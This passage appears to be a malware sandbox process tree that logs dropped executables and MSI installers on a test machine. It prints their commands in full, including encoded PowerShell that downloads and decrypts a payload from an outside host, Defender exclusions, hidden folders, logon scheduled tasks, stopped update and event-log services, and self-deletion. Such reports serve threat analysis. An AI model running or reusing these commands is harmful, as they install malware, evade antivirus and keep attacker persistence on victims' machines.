AC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiAA==6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\73R99XW1P0N7.exe73R99XW1P0N7.exe4⤵
- Executes dropped EXE
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File VV.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i scc.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File aryaa.ps14⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\37KKS9R5AOV0.exe37KKS9R5AOV0.exe4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Get-Process | Select-Object Name"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACIAJABsAGEAXABNAGkAYwByAG8AcwBvAGYAdABcAE8AZgBmAGkAYwBlAEIAcgBvAGsAZQByACIAOwAkAHAAMgA9ACIAJABsAGEAXABQAGEAYwBrAGEAZwBlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAFcAaQBuAGQAbwB3AHMALgBQAGUAbwBwAGwAZQBFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQAXwBnAHcAMQBuADEAYwAyAGYAaAB5AGUAcQB5ACIAOwAkAHAAMgB0AD0AIgAkAHAAMgBcAEEAQwBcAFQAZQBtAHAAIgA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAcAAxACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADIAdAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADEAOwBhAHQAdAByAGkAYgAgACsAaAAgACsAcwAgACQAcAAyADsAcgBlAGcAIABhAGQAZAAgACcASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwARQB4AGMAbAB1AHMAaQBvAG4AcwBcAFAAYQB0AGgAcwAnACAALwB2ACAAJABwADEAIAAvAGQAIAAwACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAnAEgASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABFAHgAYwBsAHUAcwBpAG8AbgBzAFwAUABhAHQAaABzACcAIAAvAHYAIAAkAHAAMgAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBXAGkAbgBkAG8AdwBzAFMAeQBzAHQAZQBtAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwBmADsAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAJwBSAHUAbgB0AGkAbQBlAEIAcgBvAGsAZQByAFMAZQByAHYAaQBjAGUAJwAgAC8AdAByACAAIgBgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQBgACIAIAAtAEUAbQBiAGUAZABkAGkAbgBnACIAIAAvAHMAYwAgAG8AbgBsAG8AZwBvAG4AIAAvAGYAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAD0AWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAJABkAGEAdABhAD0AKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGwAYQBuAGsALQBjAGEAcgByAG8AdAAuAGMAbwBtADoANAA0ADMAJwApADsAJABpAHYAPQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMAPQBbAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMAXQA6ADoAQwByAGUAYQB0AGUAKAApADsAJABhAGUAcwAuAEsAZQB5AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAnADEAMAA0ADEAMQA5ADYAMQA2ADkAMAA5ADQAMQA1ADEAMAA2ADgANQAwADEAOQAwADYAMgA0ADMANAA5ADEANgAnACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACcAQwBCAEMAJwA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AJwBQAEsAQwBTADcAJwA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACIAJABwADEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgAsACQAZABlAGMAKQA7AEMAbwBwAHkALQBJAHQAZQBtACAAIgAkAHAAMQBcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA=5⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker6⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy6⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:646⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /d 0 /f /reg:646⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /d 0 /f /reg:646⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr ""C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe" -Embedding" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i MicrosoftTeamUpdate.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\4utgF9B.exe4utgF9B.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TaskMms.exeTaskMms.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\TaskMms.exeTaskMms.exe5⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"6⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i s.msi4⤵
- Event Triggered Execution: Installer Packages
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\a\bot.exebot.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\lsbhd.exe"C:\ProgramData\lsbhd.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\build.exebuild.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\8rjDke0.exe8rjDke0.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=x86&rid=win10-x86&apphost_version=6.0.1&gui=true5⤵
- System Time Discovery
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c0,0x2c4,0x2c8,0x2bc,0x354,0x7ff99328c188,0x7ff99328c194,0x7ff99328c1a06⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1980,i,52660567729561915,10817109544354123734,524288 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=2860 /prefetch:36⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1732,i,10429976514879942460,2007827705303887422,262144 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=2744 /prefetch:26⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2208,i,15881529328659009279,10514263710654814900,524288 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:86⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3212,i,6322076667406377050,5605493492752216033,2097152 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3216,i,17009149909255039806,10901530792865630299,2097152 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4212,i,16078954102787158793,8716341932412378706,2097152 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=4220 /prefetch:16⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4348,i,1211280500200151536,11377122475901481179,2097152 --field-trial-handle=2760,i,9872507292331363393,1838029574102472818,262144 --variations-seed-version --mojo-platform-channel-handle=4360 /prefetch:26⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\build.exebuild.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\mj1mDoD9.exemj1mDoD9.exe4⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeLoader.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows SystemEnv Core"5⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /tn "Windows SystemEnv Core" /tr "C:\Users\Admin\AppData\Local\Temp\a\Loader.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i X5P2hQO.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\FhWghQuFWpqoe.exeFhWghQuFWpqoe.exe4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwB3AGkAbgAtAHMAdABhAHIAdAAuAGUAeABlACcAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAdwBpAG4ALQBzAHQAYQByAHQALgBlAHgAZQAnACkAIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAoAEcAZQB0AC0ARABhAHQAZQApACAALQBSAGUAcABlAHQAaQB0AGkAbwBuAEkAbgB0AGUAcgB2AGEAbAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAE0AaQBuAHUAdABlAHMAIAA1ACkAKQAgAC0AVQBzAGUAcgAgACQAZQBuAHYAOgBVAHMAZQByAE4AYQBtAGUAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBTAGUAYwBvAG4AZABzACAAMAApACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwApACAALQBGAG8AcgBjAGUA5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8712 -s 12365⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\formy.exeformy.exe4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\OJfZf'; Add-MpPreference -ExclusionPath 'C:\Users'"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\OJfZf'; Add-MpPreference -ExclusionPath 'C:\Users'}"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& {Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\OJfZf'; Add-MpPreference -ExclusionPath 'C:\Users'}"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\OJfZf\dole.exe"C:\Users\Admin\AppData\Local\OJfZf\dole.exe"5⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Defender" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\defender\defender.exe" /rl HIGHEST /f6⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Users\Admin\AppData\Roaming\defender\defender.exe"C:\Users\Admin\AppData\Roaming\defender\defender.exe"6⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Defender" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\defender\defender.exe" /rl HIGHEST /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\stra.exestra.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sifsif.exesifsif.exe4⤵
-
C:\Users\Admin\AppData\Roaming\build.exeC:\Users\Admin\AppData\Roaming\build.exe5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
-
C:\Program Files\Google\Chrome\Application\build.exe"C:\Program Files\Google\Chrome\Application\build.exe" -6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\build.exe"C:\Program Files (x86)\Microsoft\Edge\Application\build.exe" -6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\trapsralt.exetrapsralt.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\adiad.exeadiad.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kings.exekings.exe4⤵
-
C:\Users\Admin\AppData\Roaming\javae.exeC:\Users\Admin\AppData\Roaming/javae.exe5⤵
-
C:\Program Files\Google\Chrome\Application\javae.exe"C:\Program Files\Google\Chrome\Application\javae.exe" -6⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\javae.exe"C:\Program Files (x86)\Microsoft\Edge\Application\javae.exe" -6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\RankupServiceCheat.exeRankupServiceCheat.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnanrjutptsc.exevnanrjutptsc.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\actu.exeactu.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\DarkCyan-fa1d3_Install.exeDarkCyan-fa1d3_Install.exe4⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i e93d371c8a19cb07.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\update.exeupdate.exe4⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe5⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "BBGVOKXP"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "BBGVOKXP" binpath= "C:\ProgramData\vpguxyntopdh\smkjxilnzidd.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "BBGVOKXP"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a\update.exe"5⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵
-
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Order2390.msi4⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\ziobxq.exeziobxq.exe4⤵
-
-
